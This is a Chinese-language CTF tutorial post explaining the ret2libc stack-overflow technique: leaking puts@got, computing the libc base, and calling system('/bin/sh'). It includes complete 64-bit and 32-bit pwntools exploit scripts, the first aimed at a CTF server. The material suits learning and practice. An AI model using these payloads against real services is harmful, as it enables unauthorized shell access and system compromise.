跳至主要内容

ret2libc

题目

要想实现ret2libc,有以下几个必要条件:

  1. 存在溢出,且溢出范围足够大,可以覆盖到main函数的返回地址,还可以覆盖更远的区域。
  2. 存在类似于puts,write这样的打印函数。可以被利用,劫持程序的执行流程后,执行puts,write这样的函数打印一些已经执行过的函数的真实地址,以便我们寻找libc的基地址。
    另外这类题目往往还有以下的特点,暗示我们要可能要使用ret2libc的方法:
  3. 开启了NX保护,即数据段不可执行。同时栈也是不可执行的。因此就别想通过写入shellcode再ret2shellcode这样的方法拿shell。
  4. 程序本身也没有像system(“/bin/sh”)这样直接的后门函数,因此我们也不要想着直接ret2text这么直接。
  5. 程序中可能既没有system函数,又没有”/bin/sh”字符串,需要我们在libc库中寻找。

解题思路

我们的目标是拿到shell,换言之就是,劫持二进制可执行文件的执行流程,让程序执行system(“/bin/sh”)。拆分这个目标,可以分为以下两个步骤:

  1. 找到system()函数和/bin/sh字符串在libc中的地址。
  2. 劫持程序的执行流程,让程序执行system(“/bin/sh”)。
    实现第二步不难,只要精巧合理地构造溢出,把main函数的返回地址覆盖为system()函数的地址,并合理实现传参即可。关键在于如何找到system()函数和”/bin/sh”字符串的地址。这两个关键地址都在libc库中,这就是这类题型被叫做ret2libc的原因。那么如何寻找libc中的system()函数和”/bin/sh”字符串呢?这里需要用到以下公式:
    函数的真实地址 = 基地址 + 偏移地址
    要牢牢记住我们的目标:找到system()函数和”/bin/sh”字符串的真实地址。下面我们对这个公式做一个解释:
    偏移地址:libc是Linux新系统下的C函数库,其中就会有system()函数、”/bin/sh”字符串,而libc库中存放的就是这些函数的偏移地址。换句话说,只要确定了libc库的版本,就可以确定其中system()函数、”/bin/sh”字符串的偏移地址。解题核心在于如何确定libc版本,本文介绍过程将忽略这个问题,打本地直接确定为本地的libc版本即可。
    基地址:每次运行程序加载函数时,函数的基地址都会发生改变。这是一种地址随机化的保护机制,导致函数的真实地址每次运行都是不一样的。然而,哪怕每次运行时函数的真实地址一直在变,最后三位确始终相同。可以根据这最后三位是什么确定这个函数的偏移地址,从而反向推断出libc的版本(此处需要用到工具LibcSearcher库,本文忽略这个步骤)。那么如何求基地址呢?如果我们可以知道一个函数的真实地址,用公式:
    这次运行程序的基地址 = 这次运行得到的某个函数func的真实地址 - 函数func的偏移地址
    即可求出这次运行的基地址。
    这回问题又发生了转化:如何找到某个函数func的真实地址呢?
    像puts(),write()这样的函数可以打印内容,我们可以直接利用这些打印函数,打印出某个函数的真实地址(即got表中存放的地址)。某个函数又指哪个函数呢?由于Linux的延迟绑定机制,我们必须选择一个main函数中已经执行过的函数(这样才能保证该函数在got表的地址可以被找到),选哪个都可以,当然也可以直接选puts和write,毕竟题目中像puts和write往往会直接出现在main函数中。
    总结一下上面这段话,我们可以通过构造payload让程序执行puts(puts@got)或者write(1,write@got, 读取的字节数)打印puts函数/write函数的真实地址。

整体思路总结(关键):

  1. 首先寻找一个函数的真实地址,以puts为例。构造合理的payload1,劫持程序的执行流程,使得程序执行puts(puts@got)打印得到puts函数的真实地址,并重新回到main函数开始的位置。

  2. 找到puts函数的真实地址后,根据其最后三位,可以判断出libc库的版本(本文忽略)。

  3. 根据libc库的版本可以很容易的确定puts函数的偏移地址。

  4. 计算基地址。基地址 = puts函数的真实地址 - puts函数的偏移地址。

  5. 根据libc函数的版本,很容易确定system函数和”/bin/sh”字符串在libc库中的偏移地址。

  6. 根据 真实地址 = 基地址 + 偏移地址 计算出system函数和”/bin/sh”字符串的真实地址。

  7. 再次构造合理的payload2,劫持程序的执行流程,劫持到system(“/bin/sh”)的真实地址,从而拿到shell。

以上取自pwn入门:基本栈溢出之ret2libc详解(以32位+64位程序为例)-CSDN博客

64位脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
e = ELF("./pwn")
libc = ELF("./libc.so.6")
#p = process("./pwn")
p = remote("nc1.ctfplus.cn",40393)
rdi = 0x40119E
puts_plt = e.plt['puts']
puts_got = e.got['puts']
start_addr = e.symbols['_start']

payload = b'a' * 72 + p64(rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(start_addr)
p.recvuntil("Input something: ")
p.send(payload)

leak_puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

print("leak_puts: ", hex(leak_puts))
libc_base = leak_puts - libc.sym["puts"]
print("libc_base: ", hex(libc_base))
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print("system_addr:{}".format(hex(system_addr)))
print("binsh_addr:{}".format(hex(binsh_addr)))
payload = b"a" * 72
payload += p64(rdi +1)
payload += p64(rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.recvuntil("Input something: ")
p.send(payload)
p.interactive()

32位脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
e = ELF("./ret2libc3_32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析
p = process("./ret2libc3_32")
puts_plt = e.plt['puts'] #puts函数的入口地址
puts_got = e.got['puts'] #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4]) #接收puts的真实地址,占4个字节
print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
print("puts_real_addr: ", hex(puts_real_addr))
libc_addr = puts_real_addr - libc.sym['puts'] #计算libc库的基地址
print(hex(libc_addr))
system_addr = libc_addr + libc.sym["system"] #计算system函数的真实地址
binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) #计算binsh字符串的真实地址
payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)

p.sendline(payload2)
p.interactive()

关于本文

由 GuQing 撰写,采用 CC BY-NC 4.0 许可协议。

#Note_For_Pwn